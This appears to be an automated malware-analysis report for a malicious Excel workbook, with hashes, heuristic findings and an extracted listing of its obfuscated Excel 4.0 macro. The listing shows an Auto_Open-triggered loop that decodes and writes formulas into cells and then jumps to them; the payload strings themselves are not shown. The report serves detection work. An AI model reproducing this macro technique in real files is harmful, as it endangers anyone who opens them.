Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca6bcb3121f0b5ac…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:43 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: fb13a1148a78ca2dcd53f622ccec2a24 SHA-1: 384e9bb551d9a2d91610b8a8093c332b725522aa SHA-256: ca6bcb3121f0b5ac5a9508fb60c83f4300694d5e91460aed327bc80b26348581
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6661 bytes
SHA-256: 08ce98d2db929f91f7495ac3964d13091b7fb6715e5a4c36a03df758601bbd1b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vdQrnbWnHi
' 0018     27 LABEL : Cell Value, String Constant - alNdksstLMeF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A140 
' 0018     21 LABEL : Cell Value, String Constant - cNMDkh len=0 
' 0018     22 LABEL : Cell Value, String Constant - DYcYbrC len=0 
' 0018     22 LABEL : Cell Value, String Constant - gPQPydi len=0 
' 0018     25 LABEL : Cell Value, String Constant - HOEGJYAskE len=0 
' 0018     27 LABEL : Cell Value, String Constant - hvEsfqYsUeKz len=0 
' 0018     21 LABEL : Cell Value, String Constant - Ispuhq len=0 
' 0018     21 LABEL : Cell Value, String Constant - iwPzMy len=0 
' 0018     27 LABEL : Cell Value, String Constant - JLAAdUHyYPEo len=0 
' 0018     20 LABEL : Cell Value, String Constant - kEaKQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - mDYHTmLhNiW len=0 
' 0018     20 LABEL : Cell Value, String Constant - MpinZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - oPqENEHP len=0 
' 0018     25 LABEL : Cell Value, String Constant - OSmtQBOryB len=0 
' 0018     26 LABEL : Cell Value, String Constant - PFKvlViqNkq len=0 
' 0018     20 LABEL : Cell Value, String Constant - qHURV len=0 
' 0018     23 LABEL : Cell Value, String Constant - qJzJTRvH len=0 
' 0018     23 LABEL : Cell Value, String Constant - rAivihEz len=0 
' 0018     25 LABEL : Cell Value, String Constant - rITfRooYSj len=0 
' 0018     25 LABEL : Cell Value, String Constant - voRCwmLIQm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vdQrnbWnHi,A52,"SET.NAME("qJzJTRvH",VALUE("0"))",""
'  vdQrnbWnHi,A54,"SET.NAME("voRCwmLIQm",qJzJTRvH)",""
'  vdQrnbWnHi,A57,"SET.NAME("JLAAdUHyYPEo",qJzJTRvH)",""
'  vdQrnbWnHi,A62,"SET.NAME("Ispuhq",COUNTA(HOEGJYAskE))",""
'  vdQrnbWnHi,A67,"SET.NAME("DYcYbrC",COUNTA(MpinZ))",""
'  vdQrnbWnHi,A69,[],""
'  vdQrnbWnHi,A71,"SET.NAME("OSmtQBOryB","")",""
'  vdQrnbWnHi,A76,"voRCwmLIQm",""
'  vdQrnbWnHi,A81,"SET.NAME("rAivihEz",HLOOKUP("*",HOEGJYAskE,voRCwmLIQm,FALSE))",""
'  vdQrnbWnHi,A83,"oPqENEHP",""
'  vdQrnbWnHi,A87,"SET.NAME("mDYHTmLhNiW",qJzJTRvH)",""
'  vdQrnbWnHi,A91,[],""
'  vdQrnbWnHi,A95,"mDYHTmLhNiW",""
'  vdQrnbWnHi,A98,"alNdksstLMeF",""
'  vdQrnbWnHi,A103,"cNMDkh",""
'  vdQrnbWnHi,A107,"qHURV",""
'  vdQrnbWnHi,A109,"SET.NAME("rITfRooYSj",VALUE(HLOOKUP("*",MpinZ,qHURV,FALSE)))",""
'  vdQrnbWnHi,A111,"gPQPydi",""
'  vdQrnbWnHi,A113,"OSmtQBOryB",""
'  vdQrnbWnHi,A117,"JLAAdUHyYPEo",""
'  vdQrnbWnHi,A121,NEXT(),""
'  vdQrnbWnHi,A124,"kEaKQ",""
'  vdQrnbWnHi,A126,"SET.NAME("f",INT(T(FORMULA(T(OSmtQBOryB)&"",""&T(kEaKQ)))))",""
'  vdQrnbWnHi,A129,"iwPzMy",""
'  vdQrnbWnHi,A134,NEXT(),""
'  vdQrnbWnHi,A137,RETURN(),""
'  vdQrnbWnHi,A159,"SET.NAME("PFKvlViqNkq",A52)",""
'  vdQrnbWnHi,A162,"HOEGJYAskE",""
'  vdQrnbWnHi,A164,"SET.NAME("MpinZ",R66C12)",""
'  vdQrnbWnHi,A169,"SET.NAME("iwPzMy",175)",""
'  vdQrnbWnHi,A172,"SET.NAME("hvEsfqYsUeKz",1)",""
'  vdQrnbWnHi,A174,PFKvlViqNkq(),""
'  vdQrnbWnHi,A175,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.